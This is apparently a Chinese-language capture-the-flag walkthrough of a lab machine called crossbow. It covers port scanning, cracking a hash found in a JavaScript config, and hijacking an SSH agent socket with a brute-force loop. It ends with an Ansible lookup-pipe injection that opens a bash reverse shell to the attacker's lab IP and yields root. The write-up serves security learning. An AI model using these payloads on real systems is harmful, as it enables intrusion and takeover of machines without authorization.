赞
踩
kali:192.168.56.104
靶机:192.168.56.136
端口扫描
- # nmap 192.168.56.136
- Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-26 22:17 CST
- Nmap scan report for crossbow.hmv (192.168.56.136)
- Host is up (0.0057s latency).
- Not shown: 997 closed tcp ports (reset)
- PORT STATE SERVICE
- 22/tcp open ssh
- 80/tcp open http
- 9090/tcp open zeus-admin
开了3个端口22 80 9090
先扫一下80
- # gobuster dir -u http://192.168.56.136/ -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt
- ===============================================================
- Gobuster v3.6
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://192.168.56.136/
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: /usr/share/wordlists/dirb/common.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.6
- [+] Extensions: zip,html,txt,php,bak
- [+] Timeout: 10s
- ===============================================================
- Starting gobuster in directory enumeration mode
- ===============================================================
- /.html (Status: 403) [Size: 279]
- /.php (Status: 403) [Size: 279]
- /.hta.txt (Status: 403) [Size: 279]
- /.hta.php (Status: 403) [Size: 279]
- /.hta.bak (Status: 403) [Size: 279]
- /.htaccess.bak (Status: 403) [Size: 279]
- /.htaccess.zip (Status: 403) [Size: 279]
- /.htaccess.html (Status: 403) [Size: 279]
- /.htaccess (Status: 403) [Size: 279]
- /.htaccess.php (Status: 403) [Size: 279]
- /.hta.html (Status: 403) [Size: 279]
- /.htpasswd.html (Status: 403) [Size: 279]
- /.htpasswd.txt (Status: 403) [Size: 279]
- /.htpasswd.zip (Status: 403) [Size: 279]
- /.hta (Status: 403) [Size: 279]
- /.htpasswd.bak (Status: 403) [Size: 279]
- /.htpasswd (Status: 403) [Size: 279]
- /.hta.zip (Status: 403) [Size: 279]
- /.htaccess.txt (Status: 403) [Size: 279]
- /.htpasswd.php (Status: 403) [Size: 279]
- /index.html (Status: 200) [Size: 5205]
- /index.html (Status: 200) [Size: 5205]
- /server-status (Status: 403) [Size: 279]
- Progress: 27684 / 27690 (99.98%)
- ===============================================================
- Finished
- ===============================================================

没有什么东西,再扫一下9090
- # gobuster dir -u http://192.168.56.136:9090/ -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt
- ===============================================================
- Gobuster v3.6
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://192.168.56.136:9090/
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: /usr/share/wordlists/dirb/common.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.6
- [+] Extensions: html,txt,php,bak,zip
- [+] Timeout: 10s
- ===============================================================
- Starting gobuster in directory enumeration mode
- ===============================================================
-
- Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.56.136:9090/bf206408-5c03-4480-b8c2-0b790b56c627 => 200 (Length: 11740). To continue please exclude the status code or the length

ok,不能扫
直接去web看一下
没什么叫交互功能
源码里发现两个js文件
- //config.js
- const API_ENDPOINT = "https://phishing.crossbow.hmv/data";
- const HASH_API_KEY = "49ef6b765d39f06ad6a20bc951308393";
-
- // Metadata for last system upgrade
- const SYSTEM_UPGRADE = {
- version: "2.3.1",
- date: "2023-04-15",
- processedBy: "SnefruTools V1",
- description: "Routine maintenance and security patches"
- }
- //app.js
- document.addEventListener("DOMContentLoaded", function() {
- fetch(API_ENDPOINT, {
- headers: {
- "Authorization": `Bearer ${API_KEY}`
- }
- })
- .then(response => response.json())
- .then(data => {
- if (data && Array.isArray(data.messages)) {
- const randomMessage = data.messages[Math.floor(Math.random() * data.messages.length)];
-
- const messageElement = document.createElement("blockquote");
- messageElement.textContent = randomMessage;
- messageElement.style.marginTop = "20px";
- messageElement.style.fontStyle = "italic";
-
- const container = document.querySelector(".container");
- container.appendChild(messageElement);
- }
- });
- });

在config.js提到一个域名还有一个hash值
先看域名
把phishing.crossbow.hmv添加到/etc/hosts
192.168.56.136 phishing.crossbow.hmv
再扫一下
- # gobuster dir -u http://phishing.crossbow.hmv/ -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt
- ===============================================================
- Gobuster v3.6
- by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
- ===============================================================
- [+] Url: http://phishing.crossbow.hmv/
- [+] Method: GET
- [+] Threads: 10
- [+] Wordlist: /usr/share/wordlists/dirb/common.txt
- [+] Negative Status codes: 404
- [+] User Agent: gobuster/3.6
- [+] Extensions: html,txt,php,bak,zip
- [+] Timeout: 10s
- ===============================================================
- Starting gobuster in directory enumeration mode
- ===============================================================
- /.html (Status: 403) [Size: 286]
- /.hta.html (Status: 403) [Size: 286]
- /.hta.txt (Status: 403) [Size: 286]
- /.hta.php (Status: 403) [Size: 286]
- /.hta.bak (Status: 403) [Size: 286]
- /.htaccess (Status: 403) [Size: 286]
- /.htaccess.txt (Status: 403) [Size: 286]
- /.htaccess.bak (Status: 403) [Size: 286]
- /.htaccess.zip (Status: 403) [Size: 286]
- /.htpasswd (Status: 403) [Size: 286]
- /.htpasswd.txt (Status: 403) [Size: 286]
- /.php (Status: 403) [Size: 286]
- /.htaccess.php (Status: 403) [Size: 286]
- /.htpasswd.bak (Status: 403) [Size: 286]
- /.htaccess.html (Status: 403) [Size: 286]
- /.htpasswd.html (Status: 403) [Size: 286]
- /.htpasswd.zip (Status: 403) [Size: 286]
- /.hta (Status: 403) [Size: 286]
- /.hta.zip (Status: 403) [Size: 286]
- /.htpasswd.php (Status: 403) [Size: 286]
- /index.html (Status: 200) [Size: 1202]
- /index.html (Status: 200) [Size: 1202]
- /server-status (Status: 403) [Size: 286]
- Progress: 27684 / 27690 (99.98%)
- ===============================================================
- Finished
- ===============================================================

无果
看一下界面
洁白如一张白纸
看一下9090端口
是一个登录界面
whatweb查一下
- # whatweb http://192.168.56.136:9090
- http://192.168.56.136:9090 [200 OK] Cookies[cockpit], Country[RESERVED][ZZ], HTML5, HttpOnly[cockpit], IP[192.168.56.136], PasswordField, Script[text/javascript], Title[Loading...], UncommonHeaders[content-security-policy,x-dns-prefetch-control,referrer-policy,x-content-type-options,cross-origin-resource-policy], X-Frame-Options[sameorigin]
也没有有用的信息,现在只剩下一个hash值能利用
- const API_ENDPOINT = "https://phishing.crossbow.hmv/data";
- const HASH_API_KEY = "49ef6b765d39f06ad6a20bc951308393";
-
- // Metadata for last system upgrade
- const SYSTEM_UPGRADE = {
- version: "2.3.1",
- date: "2023-04-15",
- processedBy: "SnefruTools V1",
- description: "Routine maintenance and security patches"
- }
有个processedBy Snefrutools V1,搜索一下相关信息
好像是一个加密工具
搜索Snefru 解密,得到一个解密网站
snefru256 hash decoder and calculator (md5hashing.net)
把hash放到右边解密
解密结果是 ELzkRudzaNXRyNuN6
根据博客作者Polo,猜测用户名是Polo,登录9090端口,测试发现用户名是polo
在终端里面反弹个shell到kali上
polo用户下没有user flag,也没有sudo -l权限,西巴
pspy64也跑不出来
用linpeas跑发现我在docker里面
- ╔══════════╣ Executing Linux Exploit Suggester 2
- ╚ https://github.com/jondonas/linux-exploit-suggester-2
-
- ╔══════════╣ Protections
- ═╣ AppArmor enabled? .............. /etc/apparmor.d
- ═╣ grsecurity present? ............ grsecurity Not Found
- ═╣ PaX bins present? .............. PaX Not Found
- ═╣ Execshield enabled? ............ Execshield Not Found
- ═╣ SELinux enabled? ............... sestatus Not Found
- ═╣ Seccomp enabled? ............... enabled
- ═╣ AppArmor profile? .............. docker-default (enforce)
- ═╣ User namespace? ................ enabled
- ═╣ Cgroup2 enabled? ............... enabled
- ═╣ Is ASLR enabled? ............... Yes
- ═╣ Printer? ....................... No
- ═╣ Is this a virtual machine? ..... Yes (docker)
-

看一下进程
- polo@crossbow:~$ ps aux
- USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
- root 1 1.9 1.5 36932 31144 ? Ss 13:49 1:14 /usr/bin/pyth
- root 7 0.0 0.0 2576 932 ? S 13:49 0:00 /bin/sh /usr/
- root 9 0.0 0.4 235352 8156 ? Sl 13:49 0:00 /usr/lib/cock
- root 14 0.0 1.2 201120 24572 ? S 13:49 0:00 /usr/sbin/apa
- lea 16 8.0 0.1 4564 3408 ? S 13:49 5:16 /bin/bash /ho
- root 22 0.0 0.1 3976 2064 ? Ss 13:49 0:00 /usr/sbin/cro
- root 31 0.0 0.1 15404 3320 ? Ss 13:49 0:00 sshd: /usr/sb
- lea 1082 0.0 0.1 7792 3040 ? Ss 13:50 0:00 ssh-agent
- www-data 125718 0.0 0.6 201856 12836 ? S 14:05 0:01 /usr/sbin/apa
- www-data 125722 0.0 0.6 201732 12604 ? S 14:05 0:01 /usr/sbin/apa
- www-data 125723 0.0 0.6 201704 12584 ? S 14:05 0:02 /usr/sbin/apa
- www-data 288598 0.0 0.6 201704 12516 ? S 14:18 0:01 /usr/sbin/apa
- www-data 288614 0.0 0.6 201848 12820 ? S 14:18 0:01 /usr/sbin/apa
- www-data 288616 0.0 0.6 201856 12816 ? S 14:18 0:01 /usr/sbin/apa
- www-data 360679 0.0 0.6 201704 12516 ? S 14:24 0:00 /usr/sbin/apa
- www-data 360696 0.0 0.6 201704 12516 ? S 14:25 0:00 /usr/sbin/apa
- www-data 360697 0.0 0.6 201704 12496 ? S 14:25 0:00 /usr/sbin/apa
- www-data 360717 0.0 0.6 201704 12520 ? S 14:25 0:00 /usr/sbin/apa
- root 517596 0.0 0.2 11660 5400 ? S 14:38 0:00 /usr/lib/cock
- polo 517616 0.0 0.0 7660 772 ? Ss 14:38 0:00 /usr/bin/ssh-
- polo 517627 0.0 0.5 309656 11236 ? Sl 14:38 0:00 cockpit-bridg
- polo 517629 0.0 0.2 8988 4136 ? S 14:38 0:00 dbus-daemon -
- root 523850 0.0 0.2 7296 4464 ? S 14:38 0:00 sudo -k -A co
- polo 523854 0.0 0.1 8860 2092 ? S 14:38 0:00 /usr/lib/cock
- polo 527219 0.0 0.1 4608 3644 pts/0 Ss 14:39 0:00 /bin/bash
- polo 588905 14.2 1.2 106140 25248 ? Sl 14:45 1:25 ./pspy64
- polo 604208 15.1 1.0 106140 21412 ? Sl 14:47 1:12 ./pspy64
- polo 606536 0.0 0.1 4344 2968 pts/0 S 14:47 0:00 bash -c bash
- polo 606538 0.0 0.1 4608 3716 pts/0 S 14:47 0:00 bash -i
- polo 607089 0.1 0.0 2936 1000 pts/0 S+ 14:47 0:00 /usr/bin/scri
- polo 607090 0.0 0.1 4608 3560 pts/3 Ss 14:47 0:00 /bin/bash
- polo 629543 0.0 0.0 78696 820 ? Ss 14:51 0:00 gpg-agent --h
- polo 657840 33.3 0.2 8536 4156 pts/3 R+ 14:55 0:00 ps aux

发现lea 这个用户开启了 ssh代理
可以利用ssh代理劫持进入其他系统,这里有篇利用文章
SSH Forward Agent exploitation | HackTricks | HackTricks
去tmp看下
- polo@crossbow:/tmp$ ls -al
- total 3024
- drwxrwxrwt 4 root root 4096 Mar 26 14:50 .
- drwxr-xr-x 1 root root 4096 Dec 14 18:17 ..
- srwxrwxrwx 1 polo polo 0 Mar 26 14:38 dbus-TD9eVzQl3e
- -rwxr-xr-x 1 polo polo 3078592 Mar 1 13:49 pspy64
- drwx------ 2 polo polo 4096 Mar 26 14:38 ssh-XXXXXXRpQnqX
- drwx------ 2 lea lea 4096 Mar 26 13:50 ssh-XXXXXXZsi
看见lea的代理文件 ssh-XXXXXXZsiuGq
但是不知道pid,爆破一下
for i in {1080..1090}; do SSH_AUTH_SOCK=ssh-XXXXXXZsiuGq/agent.$i ssh lea@192.168.56.136; done
失败,看一下/etc/passwd,发现还有一个用户pedro
- root:x:0:0:root:/root:/usr/bin/zsh
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- bin:x:2:2:bin:/bin:/usr/sbin/nologin
- sys:x:3:3:sys:/dev:/usr/sbin/nologin
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/usr/sbin/nologin
- man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
- lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
- mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
- news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
- uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
- proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
- list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
- irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
- _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
- nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
- systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
- systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
- messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
- avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
- sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
- mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
- pedro:x:1002:1002:,,,:/home/pedro:/bin/zsh

再爆破
- for i in {1080..1090}; do SSH_AUTH_SOCK=ssh-XXXXXXZsiuGq/agent.$i ssh pedro@192.168.56.136; doneSOCK=ssh-XXXXXXZsiuGq/agent.$i ssh pedro@192.168.56.136; done
- The authenticity of host '192.168.56.136 (192.168.56.136)' can't be established.
- ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc.
- This host key is known by the following other names/addresses:
- ~/.ssh/known_hosts:1: [hashed name]
- ~/.ssh/known_hosts:4: [hashed name]
- ~/.ssh/known_hosts:5: [hashed name]
- Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
- Warning: Permanently added '192.168.56.136' (ED25519) to the list of known hosts.
- pedro@192.168.56.136's password:
- Permission denied, please try again.
- pedro@192.168.56.136's password:
- Permission denied, please try again.
- pedro@192.168.56.136's password:
- pedro@192.168.56.136: Permission denied (publickey,password).
-
-
- Last login: Fri Dec 15 18:56:12 2023 from 172.17.0.2
-
-
- ╭─pedro@crossbow ~
- ╰─$

密码不用输一直回车就能拿到padro的shell
也是成功拿到user flag,怪不得polo和lea都没有user flag,原来还有一个user
- ╭─pedro@crossbow ~
- ╰─$ ls -al
- total 220
- drwx------ 6 pedro pedro 4096 Mar 26 16:07 .
- drwxr-xr-x 3 root root 4096 Sep 5 2023 ..
- -rw-r--r-- 1 pedro pedro 220 Aug 30 2023 .bash_logout
- -rw-r--r-- 1 pedro pedro 3526 Aug 30 2023 .bashrc
- drwx------ 3 pedro pedro 4096 Sep 16 2023 .gnupg
- drwxr-xr-x 3 pedro pedro 4096 Sep 15 2023 .local
- drwxr-xr-x 12 pedro pedro 4096 Dec 14 18:55 .oh-my-zsh
- -rw-r--r-- 1 pedro pedro 807 Aug 30 2023 .profile
- drwx------ 2 pedro pedro 4096 Dec 14 18:49 .ssh
- -rw-r--r-- 1 pedro pedro 51851 Dec 15 18:56 .zcompdump-crossbow-5.9
- -r--r--r-- 1 pedro pedro 120032 Dec 15 18:56 .zcompdump-crossbow-5.9.zwc
- -rw------- 1 pedro pedro 53 Mar 26 16:07 .zsh_history
- -rw-r--r-- 1 pedro pedro 3890 Aug 30 2023 .zshrc
- -rwx------ 1 pedro pedro 33 Sep 5 2023 user.txt

想办法提权
看端口
- ╭─pedro@crossbow ~
- ╰─$ ss -tulnp 1 ↵
- Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
- udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
- tcp LISTEN 0 4096 0.0.0.0:9090 0.0.0.0:*
- tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
- tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
- tcp LISTEN 0 4096 0.0.0.0:80 0.0.0.0:*
- tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
- tcp LISTEN 0 4096 [::]:9090 [::]:*
- tcp LISTEN 0 4096 [::]:80 [::]:*
- tcp LISTEN 0 128 [::]:22 [::]:*
3000端口只能在localhost下访问
进行端口转发用了ssh和nc一下就断了不知道为什么
用socat
socat TCP4-LISTEN:8080,fork TCP4:127.0.0.1:3000
- ╭─pedro@crossbow ~
- ╰─$ socat TCP4-LISTEN:8080,fork TCP4:127.0.0.1:3000 & 1 ↵
- [1] 800897
到web一看是个登录界面
弱口令admin/admin成功登录
在environment里面编辑
利用Ansible playbookjson的内置函数lookup反弹个shell并添加配置环境
- {
- "ansible_user": "{{ lookup('ansible.builtin.pipe', \"bash -c 'exec bash -i &>/dev/tcp/192.168.56.104/4567 <&1'\") }}"
- }
- {
- "LC_ALL":"en_US.UTF-8",
- "LANG":"en_US.UTF-8"
- }
然后在任务模板里面执行这个任务
kali监听一下就能拿到root权限
- # nc -lvnp 4567
- listening on [any] 4567 ...
- connect to [192.168.56.104] from (UNKNOWN) [192.168.56.136] 44338
- bash: impossible de régler le groupe de processus du terminal (645): Ioctl() inapproprié pour un périphérique
- bash: pas de contrôle de tâche dans ce shell
- root@crossbow:/root# cat /root/r*
- cat /root/r*
- 7a299c41b1daac46d5ab98745b212e09
- root@crossbow:/root#
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。